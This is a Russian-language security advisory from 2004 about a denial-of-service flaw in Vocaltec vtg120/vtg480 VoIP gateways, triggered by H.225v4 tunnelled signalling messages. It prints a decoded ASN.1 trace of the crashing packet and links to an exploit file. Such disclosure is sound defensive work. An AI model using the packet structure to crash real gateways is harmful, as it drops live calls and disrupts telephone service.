Security Lab

Уязвимость в VoIP-шлюзах Vocaltec в стеке ASN.1/H.323/H.225

Дата публикации:24.05.2004
Дата изменения:17.10.2006
Всего просмотров:4889
Опасность:
Высокая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Vocaltec VoIP vtg120, vtg480

Описание: При разборе пакетов VoIP-сигнализации с 4ой версией протокола H.225, содержащих инструкции tunnelledSignallingMessage c id = tunnelledProtocolAlternateID наблюдаются сбои в работе VoIP-шлюзов Vocaltec. Многократная посылка ( ~10 раз) такого пакета приводит к сбоям от отключения/перезагрузки vtgw-сервиса (с разрывом и потерей всех текущих звонков), до выпадения OS Windows NT 4 (которая используется на таких шлюзах) в BSOD.

Пример ASN.1 трассы пакета:

 
{
        q931pdu = {
          protocolDiscriminator = 8
          callReference = 4
          from = originator
          messageType = Setup
          IE: Bearer-Capability = {
            80 90 a5                                           ...
          }
          IE: Calling-Party-Number = {
            81 31 32 33 34 35 36 37  38 39 30                  .1234567890
          }
          IE: Called-Party-Number = {
            81 31 32 33 34 31 32 33  34 35 36 37               .12341234567
          }
          IE: User-User = { decode to h225pdu }
        }

        h225pdu = {
          h323_uu_pdu = {
            h323_message_body = setup {
              protocolIdentifier = 0.0.8.2250.0.4  <<-------- H.225v4
              sourceInfo = {
                vendor = {
                  vendor = {
                    t35CountryCode = 1
                    t35Extension = 2
                    manufacturerCode = 3
                  }
                }
                gateway = {
                  protocol = 1 entries {
                    [0]=voice {
                      supportedPrefixes = 0 entries {
                      }
                    }
                  }
                }
                mc = FALSE
                undefinedNode = FALSE
              }
              activeMC = FALSE
              conferenceID =  16 octets {
                61 62 63 64 65 66 67 68  61 62 63 64 65 66 67 68
              }
              conferenceGoal = create <<null>>
              callType = pointToPoint <<null>>
              sourceCallSignalAddress = ipAddress {
                ip =  4 octets {
                  ac 10 01 01
                }
                port = 666
              }
              callIdentifier = {
                guid =  16 octets {
                  62 62 63 64 65 66 67 68  61 62 63 64 65 66 67 68
                }
              }
              fastStart = 2 entries {
                [0]= 18 octets {
                  00 00 00 0d 40 01 80 0a  04 00 01 00 ac 10 01 01
                  47 f1
                }
                [1]= 29 octets {
                  40 00 00 06 04 01 00 4d  40 01 80 11 14 00 01 00
                  ac 10 01 01 47 f0 00 ac  10 01 01 47 f1
                }
              }
              mediaWaitForConnect = FALSE
              canOverlapSend = FALSE
              multipleCalls = TRUE
              maintainConnection = TRUE
              symmetricOperationRequired = <<null>>
            }
            h245Tunneling = TRUE
            nonStandardControl = 1 entries {
              [0]={
                nonStandardIdentifier = h221NonStandard {
                  t35CountryCode = 1
                  t35Extension = 2
                  manufacturerCode = 3
                }
                data = {...}
              }
            }
            tunnelledSignallingMessage = {
              tunnelledProtocolID = {
                id = tunnelledProtocolAlternateID {
                  protocolType = "abcd"
                }
              }
              messageContent = 1 entries {
                [0]= {...}
              }
            }
          }
        }
}
Причем для многих современных VoIP-шлюзов (к примеру, Cisco 5350), подобный метод построения пакетов является нормой по умолчанию.

Данная уязвимость протестированна на наличие в шлюзах vtg120, vtg480, но логично предположить (вследствие общности архитектуры шлюзов) что проявляется и на менее распространенных моделях.

Техническая служба компании Vocaltec никак не хочет реагировать на заявления о данной уязвимости.

Уязвимость обнаружил Tagoff Eugene .

Пример/Эксплоит: http://www.securitylab.ru/_Exploits/2004/05/killvoc-small.c

URL производителя: http://www.vocaltec.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.